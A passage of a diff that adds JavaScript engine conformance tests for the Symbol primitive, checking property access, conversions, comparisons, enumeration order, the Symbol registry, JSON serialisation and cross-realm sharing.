@@ -0,0 +1,87 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Like other primitives, symbols can be treated as objects, using object-like
+// syntax: `symbol.prop` or `symbol[key]`.
+//
+// In ECMAScript spec jargon, this creates a Reference whose base value is a
+// primitive Symbol value.
+
+var symbols = [
+ Symbol(),
+ Symbol("ponies"),
+ Symbol.for("sym"),
+ Symbol.iterator
+];
+
+// Test accessor property, used below.
+var gets, sets;
+Object.defineProperty(Symbol.prototype, "prop", {
+ get: function () {
+ "use strict";
+ gets++;
+ assertEq(typeof this, "symbol");
+ assertEq(this, sym);
+ return "got";
+ },
+ set: function (v) {
+ "use strict";
+ sets++;
+ assertEq(typeof this, "symbol");
+ assertEq(this, sym);
+ assertEq(v, "newvalue");
+ }
+});
+
+for (var sym of symbols) {
+ assertEq(sym.constructor, Symbol);
+
+ // method on Object.prototype
+ assertEq(sym.hasOwnProperty("constructor"), false);
+ assertEq(sym.toLocaleString(), sym.toString()); // once .toString() exists
+
+ // custom method monkeypatched onto Symbol.prototype
+ Symbol.prototype.nonStrictMethod = function (arg) {
+ assertEq(arg, "ok");
+ assertEq(this instanceof Symbol, true);
+ assertEq(this.valueOf(), sym);
+ return 13;
+ };
+ assertEq(sym.nonStrictMethod("ok"), 13);
+
+ // the same, but strict mode
+ Symbol.prototype.strictMethod = function (arg) {
+ "use strict";
+ assertEq(arg, "ok2");
+ assertEq(this, sym);
+ return 14;
+ };
+ assertEq(sym.strictMethod("ok2"), 14);
+
+ // getter/setter on Symbol.prototype
+ gets = 0;
+ sets = 0;
+ var propname = "prop";
+
+ assertEq(sym.prop, "got");
+ assertEq(gets, 1);
+ assertEq(sym[propname], "got");
+ assertEq(gets, 2);
+
+ assertEq(sym.prop = "newvalue", "newvalue");
+ assertEq(sets, 1);
+ assertEq(sym[propname] = "newvalue", "newvalue");
+ assertEq(sets, 2);
+
+ // non-existent property
+ assertEq(sym.noSuchProp, undefined);
+ var noSuchPropName = "nonesuch";
+ assertEq(sym[noSuchPropName], undefined);
+
+ // non-existent method
+ assertThrowsInstanceOf(() => sym.noSuchProp(), TypeError);
+ assertThrowsInstanceOf(() => sym[noSuchPropName](), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/browser.js b/js/src/tests/non262/Symbol/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Symbol/browser.js
diff --git a/js/src/tests/non262/Symbol/comparisons.js b/js/src/tests/non262/Symbol/comparisons.js
new file mode 100644
index 0000000000..d2105c8a1a
--- /dev/null
+++ b/js/src/tests/non262/Symbol/comparisons.js
@@ -0,0 +1,34 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var symbols = [
+ Symbol(),
+ Symbol("0"),
+ Symbol.for("snowman"),
+ Symbol.iterator
+];
+
+var values = [
+ undefined, null, 0, 3.14, -0, NaN, "", "alphabet", Symbol("0"),
+ {}, []
+];
+
+for (var comparator of ["==", "!=", "===", "!=="]) {
+ var f = Function("a, b", "return a " + comparator + " b;");
+ var expected = (comparator[0] == '!');
+ for (var a of symbols) {
+ for (var b of values)
+ assertEq(f(a, b), expected);
+ }
+}
+
+for (var comparator of ["<", "<=", ">", ">="]) {
+ var f = Function("a, b", "return a " + comparator + " b;");
+ for (var a of symbols) {
+ for (var b of values)
+ assertThrowsInstanceOf(() => f(a, b), TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/constructor.js b/js/src/tests/non262/Symbol/constructor.js
new file mode 100644
index 0000000000..5143b02a9e
--- /dev/null
+++ b/js/src/tests/non262/Symbol/constructor.js
@@ -0,0 +1,35 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol(symbol) throws a TypeError.
+var sym = Symbol();
+assertThrowsInstanceOf(() => Symbol(sym), TypeError);
+
+// Symbol(undefined) is equivalent to Symbol().
+assertEq(Symbol(undefined).toString(), "Symbol()");
+
+// Otherwise, Symbol(v) means Symbol(ToString(v)).
+assertEq(Symbol(7).toString(), "Symbol(7)");
+assertEq(Symbol(true).toString(), "Symbol(true)");
+assertEq(Symbol(null).toString(), "Symbol(null)");
+assertEq(Symbol([1, 2]).toString(), "Symbol(1,2)");
+var symobj = Object(sym);
+assertThrowsInstanceOf(() => Symbol(symobj), TypeError);
+
+var hits = 0;
+var obj = {
+ toString: function () {
+ hits++;
+ return "ponies";
+ }
+};
+assertEq(Symbol(obj).toString(), "Symbol(ponies)");
+assertEq(hits, 1);
+
+assertEq(Object.getPrototypeOf(Symbol.prototype), Object.prototype);
+
+// Symbol.prototype is not itself a Symbol object.
+assertThrowsInstanceOf(() => Symbol.prototype.valueOf(), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/conversions.js b/js/src/tests/non262/Symbol/conversions.js
new file mode 100644
index 0000000000..e6265f09c9
--- /dev/null
+++ b/js/src/tests/non262/Symbol/conversions.js
@@ -0,0 +1,89 @@
+// Section numbers cite ES6 rev 24 (2014 April 27).
+
+var symbols = [
+ Symbol(),
+ Symbol("one"),
+ Symbol.for("two"),
+ Symbol.iterator
+];
+
+function testSymbolConversions(sym) {
+ // 7.1.2 ToBoolean
+ assertEq(Boolean(sym), true);
+ assertEq(!sym, false);
+ assertEq(sym || 13, sym);
+ assertEq(sym && 13, 13);
+
+ // 7.1.3 ToNumber
+ assertThrowsInstanceOf(() => +sym, TypeError);
+ assertThrowsInstanceOf(() => sym | 0, TypeError);
+
+ // 7.1.12 ToString
+ assertThrowsInstanceOf(() => "" + sym, TypeError);
+ assertThrowsInstanceOf(() => sym + "", TypeError);
+ assertThrowsInstanceOf(() => "" + [1, 2, sym], TypeError);
+ assertThrowsInstanceOf(() => ["simple", "thimble", sym].join(), TypeError);
+
+ // 21.1.1.1 String()
+ assertEq(String(sym), sym.toString());
+
+ // 21.1.1.2 new String()
+ assertThrowsInstanceOf(() => new String(sym), TypeError);
+
+ // 7.1.13 ToObject
+ var obj = Object(sym);
+ assertEq(typeof obj, "object");
+ assertEq(Object.prototype.toString.call(obj), "[object Symbol]");
+ assertEq(Object.getPrototypeOf(obj), Symbol.prototype);
+ assertEq(Object.getOwnPropertyNames(obj).length, 0);
+ assertEq(Object(sym) === Object(sym), false); // new object each time
+ var f = function () { return this; };
+ assertEq(f.call(sym) === f.call(sym), false); // new object each time
+}
+
+
+for (var sym of symbols) {
+ testSymbolConversions(sym);
+
+ // 7.1.1 ToPrimitive
+ var symobj = Object(sym);
+ assertThrowsInstanceOf(() => Number(symobj), TypeError);
+ assertThrowsInstanceOf(() => String(symobj), TypeError);
+ assertThrowsInstanceOf(() => symobj < 0, TypeError);
+ assertThrowsInstanceOf(() => 0 < symobj, TypeError);
+ assertThrowsInstanceOf(() => symobj + 1, TypeError);
+ assertThrowsInstanceOf(() => "" + symobj, TypeError);
+ assertEq(sym == symobj, true);
+ assertEq(sym === symobj, false);
+ assertEq(symobj == 0, false);
+ assertEq(0 != symobj, true);
+
+ // 7.1.12 ToString
+ assertThrowsInstanceOf(() => String(Object(sym)), TypeError);
+}
+
+// Deleting Symbol.prototype[@@toPrimitive] does not change the behavior of
+// conversions from a symbol to other types.
+delete Symbol.prototype[Symbol.toPrimitive];
+assertEq(Symbol.toPrimitive in Symbol.prototype, false);
+testSymbolConversions(symbols[0]);
+
+// It does change the behavior of ToPrimitive on Symbol objects, though.
+// It causes the default algorithm (OrdinaryToPrimitive) to be used.
+var VALUEOF_CALLED = 117.25;
+Symbol.prototype.valueOf = function () { return VALUEOF_CALLED; };
+Symbol.prototype.toString = function () { return "toString called"; };
+for (var sym of symbols) {
+ var symobj = Object(sym);
+ assertEq(Number(symobj), VALUEOF_CALLED);
+ assertEq(String(symobj), "toString called");
+ assertEq(symobj < 0, VALUEOF_CALLED < 0);
+ assertEq(0 < symobj, 0 < VALUEOF_CALLED);
+ assertEq(symobj + 1, VALUEOF_CALLED + 1);
+ assertEq("" + symobj, "" + VALUEOF_CALLED);
+ assertEq(symobj == 0, false);
+ assertEq(0 != symobj, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/enumeration-order.js b/js/src/tests/non262/Symbol/enumeration-order.js
new file mode 100644
index 0000000000..8bcd1f02ff
--- /dev/null
+++ b/js/src/tests/non262/Symbol/enumeration-order.js
@@ -0,0 +1,40 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbols follow all other property keys in the result list.
+var log;
+function LoggingProxy() {
+ return new Proxy({}, {
+ defineProperty: (t, key, desc) => {
+ log.push(key);
+ return true;
+ }
+ });
+}
+
+var keys = [
+ "before",
+ Symbol(),
+ "during",
+ Symbol.for("during"),
+ Symbol.iterator,
+ "after"
+];
+var descs = {};
+for (var k of keys)
+ descs[k] = {configurable: true, value: 0};
+
+function test(descsObj) {
+ log = [];
+ Object.defineProperties(LoggingProxy(), descs);
+ assertEq(log.length, keys.length);
+ assertDeepEq(log.map(k => typeof k), ["string", "string", "string", "symbol", "symbol", "symbol"]);
+ for (var key of keys)
+ assertEq(log.indexOf(key) !== -1, true);
+}
+
+test(descs);
+test(new Proxy(descs, {}));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/enumeration.js b/js/src/tests/non262/Symbol/enumeration.js
new file mode 100644
index 0000000000..de993d69a7
--- /dev/null
+++ b/js/src/tests/non262/Symbol/enumeration.js
@@ -0,0 +1,52 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// for-in loops skip properties with symbol keys, even enumerable properties.
+var obj = {};
+obj[Symbol.for("moon")] = "sun";
+obj[Symbol("asleep")] = "awake";
+obj[Symbol.iterator] = "List";
+for (var x in obj)
+ throw "FAIL: " + String(x);
+
+// This includes inherited properties.
+var obj2 = Object.create(obj);
+for (var x in obj2)
+ throw "FAIL: " + String(x);
+
+// The same goes for proxies.
+var p = new Proxy(obj, {});
+for (var x in p)
+ throw "FAIL: " + String(x);
+var p2 = new Proxy(obj2, {});
+for (var x in p2)
+ throw "FAIL: " + String(x);
+
+// Object.keys() and .getOwnPropertyNames() also skip symbols.
+assertEq(Object.keys(obj).length, 0);
+assertEq(Object.keys(p).length, 0);
+assertEq(Object.keys(obj2).length, 0);
+assertEq(Object.keys(p2).length, 0);
+assertEq(Object.getOwnPropertyNames(obj).length, 0);
+assertEq(Object.getOwnPropertyNames(p).length, 0);
+assertEq(Object.getOwnPropertyNames(obj2).length, 0);
+assertEq(Object.getOwnPropertyNames(p2).length, 0);
+
+// Test interaction of Object.keys(), proxies, and symbol property keys.
+var log = [];
+var h = {
+ ownKeys: (t) => {
+ log.push("ownKeys");
+ return ["a", "0", Symbol.for("moon"), Symbol("asleep"), Symbol.iterator];
+ },
+ getOwnPropertyDescriptor: (t, key) => {
+ log.push("gopd", key);
+ return {configurable: true, enumerable: true, value: 0, writable: true};
+ }
+};
+p = new Proxy({}, h);
+assertDeepEq(Object.keys(p), ["a", "0"]);
+assertDeepEq(log, ["ownKeys", "gopd", "a", "gopd", "0"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/equality.js b/js/src/tests/non262/Symbol/equality.js
new file mode 100644
index 0000000000..eaa091ba43
--- /dev/null
+++ b/js/src/tests/non262/Symbol/equality.js
@@ -0,0 +1,30 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol.for returns the same symbol whenever the same argument is passed.
+assertEq(Symbol.for("q") === Symbol.for("q"), true);
+
+// Several distinct Symbol values.
+var symbols = [
+ Symbol(),
+ Symbol("Symbol.iterator"),
+ Symbol("Symbol.iterator"), // distinct new symbol with the same description
+ Symbol.for("Symbol.iterator"),
+ Symbol.iterator
+];
+
+// Distinct symbols are never equal to each other, even if they have the same
+// description.
+for (var i = 0; i < symbols.length; i++) {
+ for (var j = i; j < symbols.length; j++) {
+ var expected = (i === j);
+ assertEq(symbols[i] == symbols[j], expected);
+ assertEq(symbols[i] != symbols[j], !expected);
+ assertEq(symbols[i] === symbols[j], expected);
+ assertEq(symbols[i] !== symbols[j], !expected);
+ assertEq(Object.is(symbols[i], symbols[j]), expected);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/errors.js b/js/src/tests/non262/Symbol/errors.js
new file mode 100644
index 0000000000..d6eb37abc4
--- /dev/null
+++ b/js/src/tests/non262/Symbol/errors.js
@@ -0,0 +1,17 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Section numbers cite ES6 rev 24 (2014 April 27).
+
+var sym = Symbol();
+
+// 7.2.2 IsCallable
+assertThrowsInstanceOf(() => sym(), TypeError);
+assertThrowsInstanceOf(() => Function.prototype.call.call(sym), TypeError);
+
+// 7.2.5 IsConstructor
+assertThrowsInstanceOf(() => new sym(), TypeError);
+assertThrowsInstanceOf(() => new Symbol(), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/for-in-order.js b/js/src/tests/non262/Symbol/for-in-order.js
new file mode 100644
index 0000000000..7d1f234305
--- /dev/null
+++ b/js/src/tests/non262/Symbol/for-in-order.js
@@ -0,0 +1,33 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// ES6 does not specify enumeration order, but implementations mostly retain
+// property insertion order -- and must, for web compatibility. This test checks
+// that symbol-keyed properties do not interfere with that order.
+
+var obj = {};
+obj[Symbol("moon")] = 0;
+obj.x = 1;
+obj[Symbol.for("y")] = 2
+obj.y = 3;
+obj[Symbol.iterator] = function* () { yield 4; };
+obj.z = 5;
+Object.prototype[Symbol.for("comet")] = 6;
+
+var keys = [];
+for (var k in obj)
+ keys.push(k);
+assertDeepEq(keys, ["x", "y", "z"]);
+assertDeepEq(Object.keys(obj), ["x", "y", "z"]);
+
+// Test with more properties.
+for (var i = 0; i < 1000; i++)
+ obj[Symbol(i)] = i;
+obj.w = 1000;
+keys = []
+for (var k in obj)
+ keys.push(k);
+assertDeepEq(keys, ["x", "y", "z", "w"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/for.js b/js/src/tests/non262/Symbol/for.js
new file mode 100644
index 0000000000..43e2855113
--- /dev/null
+++ b/js/src/tests/non262/Symbol/for.js
@@ -0,0 +1,31 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol.for called twice with the same argument returns the same symbol.
+assertEq(Symbol.for("ponies"), Symbol.for("ponies"));
+
+// Called twice with equal strings: still the same result.
+var one = Array(64+1).join("x");
+var two = Array(8+1).join(Array(8+1).join("x"));
+assertEq(Symbol.for(one), Symbol.for(two));
+
+// Symbols created by calling Symbol() are not in the symbol registry.
+var sym = Symbol("123");
+assertEq(Symbol.for("123") !== sym, true);
+
+// Empty string is fine.
+assertEq(typeof Symbol.for(""), "symbol");
+
+// Primitive arguments.
+assertEq(Symbol.for(3), Symbol.for("3"));
+assertEq(Symbol.for(null), Symbol.for("null"));
+assertEq(Symbol.for(undefined), Symbol.for("undefined"));
+assertEq(Symbol.for(), Symbol.for("undefined"));
+
+// Symbol.for ignores the 'this' value.
+var foo = Symbol.for("foo")
+assertEq(Symbol.for.call(String, "foo"), foo);
+assertEq(Symbol.for.call(3.14, "foo"), foo);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/json-stringify-keys.js b/js/src/tests/non262/Symbol/json-stringify-keys.js
new file mode 100644
index 0000000000..3818cbb339
--- /dev/null
+++ b/js/src/tests/non262/Symbol/json-stringify-keys.js
@@ -0,0 +1,19 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// JSON.stringify ignores symbol-keyed properties, even enumerable ones.
+
+var obj = {a: 1};
+obj[Symbol.for("ponies")] = {toJSON: function () { throw "fit"; }};
+obj[Symbol.iterator] = {toJSON: function () { throw "fit"; }};
+assertEq(JSON.stringify(obj), '{"a":1}');
+
+var replacer = function (k, v) {
+ if (typeof k === "symbol")
+ throw "fit";
+ return v;
+};
+assertEq(JSON.stringify(obj, replacer), '{"a":1}');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Symbol/json-stringify-values.js b/js/src/tests/non262/Symbol/json-stringify-values.js
new file mode 100644
index 0000000000..0fe32eee54
--- /dev/null
+++ b/js/src/tests/non262/Symbol/json-stringify-values.js
@@ -0,0 +1,33 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// To JSON.stringify, symbols are the same as undefined.
+
+var symbols = [
+ Symbol(),
+ Symbol.for("ponies"),
+ Symbol.iterator
+];
+
+for (var sym of symbols) {
+ assertEq(JSON.stringify(sym), undefined);
+ assertEq(JSON.stringify([sym]), "[null]");
+
+ // JSON.stringify skips symbol-valued properties!
+ assertEq(JSON.stringify({x: sym}), '{}');
+
+ // However such properties are passed to the replacerFunction if any.
+ var replacer = function (key, val) {
+ assertEq(typeof this, "object");
+ if (typeof val === "symbol") {
+ assertEq(val, sym);
+ return "ding";
+ }
+ return val;
+ };
+ assertEq(JSON.stringify(sym, replacer), '"ding"');
+ assertEq(JSON.stringify({x: sym}, replacer), '{"x":"ding"}');
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Symbol/keyFor.js b/js/src/tests/non262/Symbol/keyFor.js
new file mode 100644
index 0000000000..868c3bda74
--- /dev/null
+++ b/js/src/tests/non262/Symbol/keyFor.js
@@ -0,0 +1,15 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+assertEq(Symbol.keyFor(Symbol.for("moon")), "moon");
+assertEq(Symbol.keyFor(Symbol.for("")), "");
+assertEq(Symbol.keyFor(Symbol("moon")), undefined);
+assertEq(Symbol.keyFor(Symbol.iterator), undefined);
+
+assertThrowsInstanceOf(() => Symbol.keyFor(), TypeError);
+assertThrowsInstanceOf(() => Symbol.keyFor(Object(Symbol("moon"))), TypeError);
+
+assertEq(Symbol.keyFor.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/property-accessor.js b/js/src/tests/non262/Symbol/property-accessor.js
new file mode 100644
index 0000000000..7a2c149a1e
--- /dev/null
+++ b/js/src/tests/non262/Symbol/property-accessor.js
@@ -0,0 +1,39 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var obj = {};
+var sym = Symbol();
+
+var gets = 0;
+var sets = [];
+Object.defineProperty(obj, sym, {
+ get: function () { return ++gets; },
+ set: function (v) { sets.push(v); }
+});
+
+// getter
+for (var i = 1; i < 9; i++)
+ assertEq(obj[sym], i);
+
+// setter
+var expected = [];
+for (var i = 0; i < 9; i++) {
+ assertEq(obj[sym] = i, i);
+ expected.push(i);
+}
+assertDeepEq(sets, expected);
+
+// increment operator
+gets = 0;
+sets = [];
+assertEq(obj[sym]++, 1);
+assertDeepEq(sets, [2]);
+
+// assignment
+gets = 0;
+sets = [];
+assertEq(obj[sym] *= 12, 12);
+assertDeepEq(sets, [12]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/property-basics.js b/js/src/tests/non262/Symbol/property-basics.js
new file mode 100644
index 0000000000..63bcb3867c
--- /dev/null
+++ b/js/src/tests/non262/Symbol/property-basics.js
@@ -0,0 +1,44 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var symbols = [
+ Symbol(),
+ Symbol("one"),
+ Symbol.for("two"),
+ Symbol.iterator,
+ Object(Symbol())
+];
+
+for (var sym of symbols) {
+ var obj = {};
+
+ // access a nonexistent property
+ assertEq(sym in obj, false);
+ assertEq(obj.hasOwnProperty(sym), false);
+ assertEq(obj[sym], undefined);
+ assertEq(typeof obj[sym], "undefined");
+ assertEq(Object.getOwnPropertyDescriptor(obj, sym), undefined);
+
+ // assign, then try accessing again
+ obj[sym] = "ok";
+ assertEq(sym in obj, true);
+ assertEq(obj.hasOwnProperty(sym), true);
+ assertEq(obj[sym], "ok");
+ assertDeepEq(Object.getOwnPropertyDescriptor(obj, sym), {
+ value: "ok",
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+
+ // assign again, observe value is overwritten
+ obj[sym] = 12;
+ assertEq(obj[sym], 12);
+
+ // increment
+ assertEq(obj[sym]++, 12);
+ assertEq(obj[sym], 13);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/property-inheritance.js b/js/src/tests/non262/Symbol/property-inheritance.js
new file mode 100644
index 0000000000..2fe6189689
--- /dev/null
+++ b/js/src/tests/non262/Symbol/property-inheritance.js
@@ -0,0 +1,50 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var sym = Symbol.for("hello");
+function F() {}
+var f = new F();
+
+// inherited data property
+F.prototype[sym] = "world";
+assertEq(sym in f, true);
+assertEq(f.hasOwnProperty(sym), false);
+assertEq(f[sym], "world");
+
+// shadowing assignment
+f[sym] = "kitty";
+assertEq(f[sym], "kitty");
+assertEq(F.prototype[sym], "world");
+
+// deletion, revealing previously shadowed property
+assertEq(delete f[sym], true);
+assertEq(f.hasOwnProperty(sym), false);
+assertEq(f[sym], "world");
+
+// inherited accessor property
+var value = undefined;
+Object.defineProperty(F.prototype, sym, {
+ configurable: true,
+ get: function () { return 23; },
+ set: function (v) { value = v; }
+});
+assertEq(sym in f, true);
+assertEq(f.hasOwnProperty(sym), false);
+assertEq(f[sym], 23);
+f[sym] = "gravity";
+assertEq(value, "gravity");
+
+// inherited accessor property with no setter
+Object.defineProperty(F.prototype, sym, {
+ set: undefined
+});
+assertThrowsInstanceOf(function () { "use strict"; f[sym] = 0; }, TypeError);
+
+// deeply inherited accessor property
+var g = Object.create(f);
+for (var i = 0; i < 100; i++)
+ g = Object.create(g);
+assertEq(g[sym], 23);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/property-nonwritable.js b/js/src/tests/non262/Symbol/property-nonwritable.js
new file mode 100644
index 0000000000..3e58383c78
--- /dev/null
+++ b/js/src/tests/non262/Symbol/property-nonwritable.js
@@ -0,0 +1,31 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var sym = Symbol.for("moon");
+function checkNotWritable(obj) {
+ // In sloppy mode, assigning to a nonwritable property silently fails.
+ obj[sym] = "portals";
+ assertEq(obj[sym], "cheese");
+
+ // In strict mode code, it throws.
+ assertThrowsInstanceOf(function () { "use strict"; obj[sym] = "robots"; }, TypeError);
+ assertEq(obj[sym], "cheese");
+}
+
+var x = {};
+Object.defineProperty(x, sym, {
+ configurable: true,
+ enumerable: true,
+ value: "cheese",
+ writable: false
+});
+
+checkNotWritable(x);
+
+// Assignment can't shadow inherited nonwritable properties either.
+var y = Object.create(x);
+checkNotWritable(y);
+checkNotWritable(Object.create(y));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/property-reflection.js b/js/src/tests/non262/Symbol/property-reflection.js
new file mode 100644
index 0000000000..5bdecf6632
--- /dev/null
+++ b/js/src/tests/non262/Symbol/property-reflection.js
@@ -0,0 +1,136 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Basic tests for standard Object APIs interacting with symbols.
+
+// Object.defineProperty
+function F() {}
+var f = new F;
+Object.defineProperty(f, Symbol.for("name"), {
+ configurable: true,
+ value: "eff"
+});
+assertEq("name" in f, false);
+assertEq("Symbol(name)" in f, false);
+assertEq(Symbol.for("name") in f, true);
+assertEq(f[Symbol.for("name")], "eff");
+
+// Object.defineProperties
+function D() {}
+var descs = new D;
+var s1 = Symbol("s1");
+var hits = 0;
+descs[s1] = {
+ get: () => hits++,
+ set: undefined,
+ enumerable: true,
+ configurable: true
+};
+var s2 = Symbol("s2");
+descs[s2] = {
+ value: {},
+ writable: true,
+ enumerable: false,
+ configurable: true
+};
+var s3 = Symbol("s3");
+D.prototype[s3] = {value: "FAIL"};
+assertEq(Object.defineProperties(f, descs), f);
+assertEq(s1 in f, true);
+assertEq(f[s1], 0);
+assertEq(hits, 1);
+assertEq(s2 in f, true);
+assertEq(f[s2], descs[s2].value);
+assertEq(s3 in f, false);
+
+// Object.create
+var n = Object.create({}, descs);
+assertEq(s1 in n, true);
+assertEq(n[s1], 1);
+assertEq(hits, 2);
+assertEq(s2 in n, true);
+assertEq(n[s2], descs[s2].value);
+assertEq(s3 in n, false);
+
+// Object.getOwnPropertyDescriptor
+var desc = Object.getOwnPropertyDescriptor(n, s1);
+assertDeepEq(desc, descs[s1]);
+assertEq(desc.get, descs[s1].get);
+desc = Object.getOwnPropertyDescriptor(n, s2);
+assertDeepEq(desc, descs[s2]);
+assertEq(desc.value, descs[s2].value);
+
+// Object.prototype.hasOwnProperty
+assertEq(descs.hasOwnProperty(s1), true);
+assertEq(descs.hasOwnProperty(s2), true);
+assertEq(descs.hasOwnProperty(s3), false);
+assertEq([].hasOwnProperty(Symbol.iterator), false);
+assertEq(Array.prototype.hasOwnProperty(Symbol.iterator), true);
+
+// Object.prototype.propertyIsEnumerable
+assertEq(n.propertyIsEnumerable(s1), true);
+assertEq(n.propertyIsEnumerable(s2), false);
+assertEq(n.propertyIsEnumerable(s3), false); // no such property
+assertEq(D.prototype.propertyIsEnumerable(s3), true);
+assertEq(descs.propertyIsEnumerable(s3), false); // inherited properties are not considered
+
+// Object.preventExtensions
+var obj = {};
+obj[s1] = 1;
+assertEq(Object.preventExtensions(obj), obj);
+assertThrowsInstanceOf(function () { "use strict"; obj[s2] = 2; }, TypeError);
+obj[s2] = 2; // still no effect
+assertEq(s2 in obj, false);
+
+// Object.isSealed, Object.isFrozen
+assertEq(Object.isSealed(obj), false);
+assertEq(Object.isFrozen(obj), false);
+assertEq(delete obj[s1], true);
+assertEq(Object.isSealed(obj), true);
+assertEq(Object.isFrozen(obj), true);
+
+obj = {};
+obj[s1] = 1;
+Object.preventExtensions(obj);
+Object.defineProperty(obj, s1, {configurable: false}); // still writable
+assertEq(Object.isSealed(obj), true);
+assertEq(Object.isFrozen(obj), false);
+obj[s1] = 2;
+assertEq(obj[s1], 2);
+Object.defineProperty(obj, s1, {writable: false});
+assertEq(Object.isFrozen(obj), true);
+
+// Object.seal, Object.freeze
+var obj = {};
+obj[s1] = 1;
+Object.seal(obj);
+desc = Object.getOwnPropertyDescriptor(obj, s1);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, true);
+Object.freeze(obj);
+assertEq(Object.getOwnPropertyDescriptor(obj, s1).writable, false);
+
+// Object.setPrototypeOf purges caches for symbol-keyed properties.
+var proto = {};
+proto[s1] = 1;
+Object.defineProperty(proto, s2, {
+ get: () => 2,
+ set: v => undefined
+});
+var obj = Object.create(proto);
+var last1, last2;
+var N = 9;
+for (var i = 0; i < N; i++) {
+ last1 = obj[s1];
+ last2 = obj[s2];
+ obj[s2] = "marker";
+ if (i === N - 2)
+ Object.setPrototypeOf(obj, {});
+}
+assertEq(last1, undefined);
+assertEq(last2, undefined);
+assertEq(obj.hasOwnProperty(s2), true);
+assertEq(obj[s2], "marker");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/realms.js b/js/src/tests/non262/Symbol/realms.js
new file mode 100644
index 0000000000..98a1284ee0
--- /dev/null
+++ b/js/src/tests/non262/Symbol/realms.js
@@ -0,0 +1,36 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbols can be shared across realms.
+
+if (typeof Reflect !== "undefined" && typeof Reflect.Realm === "function") {
+ throw new Error("Congratulations on implementing Reflect.Realm! " +
+ "Please update this test to use it.");
+}
+if (typeof newGlobal === "function") {
+ var g = newGlobal();
+ var gj = g.eval("jones = Symbol('jones')");
+ assertEq(typeof gj, "symbol");
+ assertEq(g.jones, g.jones);
+ assertEq(gj, g.jones);
+ assertEq(gj !== Symbol("jones"), true);
+
+ // A symbol can be round-tripped to another realm and back;
+ // the result is the original symbol.
+ var smith = Symbol("smith");
+ g.smith = smith; // put smith into the realm
+ assertEq(g.smith, smith); // pull it back out
+
+ // Spot-check that non-generic methods can be applied to symbols and Symbol
+ // objects from other realms.
+ assertEq(Symbol.prototype.toString.call(gj), "Symbol(jones)");
+ assertEq(Symbol.prototype.toString.call(g.eval("Object(Symbol('brown'))")),
+ "Symbol(brown)");
+
+ // Symbol.for functions share a symbol registry across all realms.
+ assertEq(g.Symbol.for("ponies"), Symbol.for("ponies"));
+ assertEq(g.eval("Symbol.for('rainbows')"), Symbol.for("rainbows"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
